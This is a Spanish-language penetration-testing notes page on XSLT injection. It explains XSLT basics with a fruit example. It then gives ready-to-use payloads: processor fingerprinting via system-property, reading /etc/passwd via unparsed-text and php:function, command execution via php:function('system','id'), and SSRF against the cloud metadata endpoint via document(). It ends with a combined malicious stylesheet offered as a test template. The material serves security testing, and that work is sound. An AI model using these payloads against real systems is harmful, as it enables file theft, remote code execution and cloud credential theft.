Skip to content

XSLT (eXtensible Stylesheet Language Transformation) Injection

XSLT es un lenguaje usado para transformar documentos XML en otros formatos (HTML, texto plano, otro XML), aplicando una "hoja de estilo" (stylesheet) que define reglas de transformación. Cuando una aplicación permite al usuario controlar total o parcialmente el documento XSLT que se procesa, se puede inyectar lógica propia del lenguaje XSLT — cuyo impacto abarca desde divulgación de información hasta lectura de archivos y, en ciertos procesadores, ejecución remota de código.

Documento XML de ejemplo

xml
<?xml version="1.0" encoding="UTF-8"?>
<fruits>
    <fruit>
        <name>Apple</name>
        <color>Red</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Banana</name>
        <color>Yellow</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Strawberry</name>
        <color>Red</color>
        <size>Small</size>
    </fruit>
</fruits>

Elementos básicos de XSLT

  • <xsl:template> : define una plantilla; el atributo match indica a qué ruta del documento XML se aplica.
  • <xsl:value-of> : extrae el valor del nodo XML especificado en el atributo select.
  • <xsl:for-each> : itera sobre todos los nodos XML especificados en select.

Documento XSLT de ejemplo, que genera un listado de frutas con su color:

xml
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/fruits">
        Here are all the fruits:
        <xsl:for-each select="fruit">
            <xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
        </xsl:for-each>
    </xsl:template>
</xsl:stylesheet>

Resultado de combinar el XML con este XSLT:

Here are all the fruits:
    Apple (Red)
    Banana (Yellow)
    Strawberry (Red)

Elementos adicionales: ordenamiento y condicionales

  • <xsl:sort> : especifica cómo ordenar los elementos dentro de un bucle for-each (select indica el campo, order la dirección — ascending/descending).
  • <xsl:if> : evalúa una condición sobre un nodo, especificada en el atributo test.
xml
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/fruits">
        Here are all fruits of medium size ordered by their color:
        <xsl:for-each select="fruit">
            <xsl:sort select="color" order="descending" />
            <xsl:if test="size = 'Medium'">
                <xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
            </xsl:if>
        </xsl:for-each>
    </xsl:template>
</xsl:stylesheet>

Resultado:

Here are all fruits of medium size ordered by their color:
    Banana (Yellow)
    Apple (Red)

Explotando XSLT Injection

Divulgación de información

La función system-property() expone metadatos del propio procesador XSLT en uso — útil para huella digital de la tecnología antes de intentar payloads más avanzados:

xml
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />
  • El vendor/product-name identifica el procesador exacto (por ejemplo, Xalan, Saxon, libxslt) — cada uno soporta distintas extensiones (como php:function, ver más abajo), por lo que este paso condiciona qué payloads de explotación posteriores son viables.

Local File Inclusion (LFI)

Con la función estándar unparsed-text() (parte de XSLT 2.0+, ampliamente soportada):

xml
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

Cuando el procesador es PHP (libxslt con la extensión php:function habilitada), se puede invocar funciones PHP nativas directamente desde XSLT:

xml
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
  • Requiere declarar el namespace de PHP en el stylesheet (xmlns:php="http://php.net/xsl") para que php:function sea reconocido.

Remote Code Execution (RCE)

Cuando php:function está disponible, se puede invocar directamente la función system de PHP:

xml
<xsl:value-of select="php:function('system','id')" />

SSRF/LFI combinados vía la función document()

La función document() de XSLT permite cargar y procesar un recurso XML externo — igual que ocurre con las entidades externas de XXE (ver xxe.md), esto puede apuntar tanto a archivos locales como a URLs remotas:

xml
<xsl:value-of select="document('file:///etc/passwd')"/>
xml
<xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>
  • Esta función convierte a XSLT injection en un vector potencial de SSRF además de LFI — vale la pena probar contra endpoints de metadata cloud de la misma forma que con XXE (ver la sección correspondiente en ssrf.md).

Documento XSLT malicioso completo (ejemplo integrador)

Combinando varias técnicas en un solo stylesheet, útil como plantilla de prueba inicial contra un endpoint que procesa XSLT proporcionado por el usuario:

xml
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
    <xsl:template match="/">
        <xsl:text>Processor: </xsl:text>
        <xsl:value-of select="system-property('xsl:vendor')" />
        <br/>
        <xsl:text>File read: </xsl:text>
        <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
        <br/>
        <xsl:text>Command exec: </xsl:text>
        <xsl:value-of select="php:function('system','id')" />
    </xsl:template>
</xsl:stylesheet>

Notas de metodología

  • Confirmar primero el procesador XSLT en uso (system-property) antes de intentar RCE — las funciones de extensión como php:function solo existen si el backend es PHP con libxslt; procesadores Java (Xalan, Saxon) requieren payloads distintos (por ejemplo, invocando clases Java arbitrarias vía extensiones específicas de cada procesador).
  • La función document() es funcionalmente equivalente a una entidad externa de XXE — cualquier objetivo de metadata cloud o archivo local que se probaría en un XXE vale la pena probarlo aquí también.
  • Buscar el punto de inyección típico: funcionalidades de "vista previa"/"transformación" de documentos XML/XSLT proporcionados por el usuario, generación de reportes/facturas desde plantillas XSLT configurables, o APIs que aceptan un parámetro de "stylesheet" personalizado.